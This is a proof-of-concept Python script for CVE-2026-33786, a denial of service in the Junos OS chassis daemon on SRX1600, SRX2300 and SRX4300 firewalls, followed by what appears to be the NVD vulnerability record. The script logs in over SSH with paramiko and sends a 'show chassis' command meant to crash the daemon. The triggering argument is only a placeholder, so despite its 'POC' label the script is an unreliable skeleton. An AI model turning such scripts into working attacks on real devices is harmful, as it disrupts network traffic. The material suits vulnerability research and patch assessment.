CVE-2026-33786

import paramiko import time # POC for CVE-2026-33786 # Description: This script demonstrates how a local low-privileged user # could potentially trigger the DoS by executing a specific CLI command. # Note: The exact specific command syntax might need adjustment based on JSA107810. def trigger_dos(target_ip, username, password): try: # Establish SSH connection client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(target_ip, username=username, password=password, timeout=10) # Invoke shell shell = client.invoke_shell() time.sleep(1) # Enter operational mode shell.send("cli\n") time.sleep(1) # Execute the specific 'show chassis' command that triggers the crash # This is a representation of the vulnerable command. vulnerable_command = "show chassis specific-vulnerable-arg\n" shell.send(vulnerable_command) time.sleep(2) # Check if the prompt hangs or disconnects, indicating a crash output = shell.recv(65535).decode() if not output or "connection closed" in output.lower(): print("[+] Potential DoS triggered: Shell disconnected or daemon crashed.") else: print("[-] Command executed, check system status.") client.close() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Example usage # trigger_dos("192.168.1.1", "low_priv_user", "password") pass

{"cve": {"id": "CVE-2026-33786", "sourceIdentifier": "[email protected]", "published": "2026-04-09T22:16:28.193", "lastModified": "2026-04-17T17:14:39.240", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Check for Unusual or Exceptional Conditions vulnerability in the chassis control daemon (chassisd) of Juniper Networks Junos OS on SRX1600, SRX2300 and SRX4300 allows a local attacker with low privileges to cause a complete Denial of Service (DoS).\n\nWhen a specific 'show chassis' CLI command is executed, chassisd crashes and restarts which causes a momentary impact to all traffic until all modules are online again.\n\nThis issue affects Junos OS on SRX1600, SRX2300 and SRX4300:\n\n\n\n * 24.4 versions before 24.4R1-S3, 24.4R2.\n\n\nThis issue does not affect Junos OS versions before 24.4R1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:X/RE:M/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "AUTOMATIC", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-754"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:24.4:-:*:*:*:*:*:*", "matchCriteriaId": "C452BDCB-34E3-42D3-8909-2312356EB70A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:24.4:r1:*:*:*:*:*:*", "matchCriteriaId": "2B8158F2-2028-40E9-955F-CFD581A32F60"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:24.4:r1-s2:*:*:*:*:*:*", "matchCriteriaId": "1A7233A1-EC7A-4458-9AE1-835480A03A21"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:24.4:r2:*:*:*:*:*:*", "matchCriteriaId": "0EEF1798-F3C2-4645-96E7-1E82368B184D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:juniper:srx1600:-:*:*:*:*:*:*:*", "matchCriteriaId": "4AE06B18-BFB5-4029-A05D-386CFBFBF683"}, {"vulnerable": false, "criteria": "cpe:2.3:h:juniper:srx2300:-:*:*:*:*:*:*:*", "matchCriteriaId": "48A1DCCD-208C-46D9-8E14-89592B49AB9A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:juniper:srx4300:-:*:*:*:*:*:*:*", "matchCriteriaId": "826F893F-7B06-43B5-8653-A8D9794C052E"}]}]}], "references": [{"url": "https://kb.juniper.net/JSA107810", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}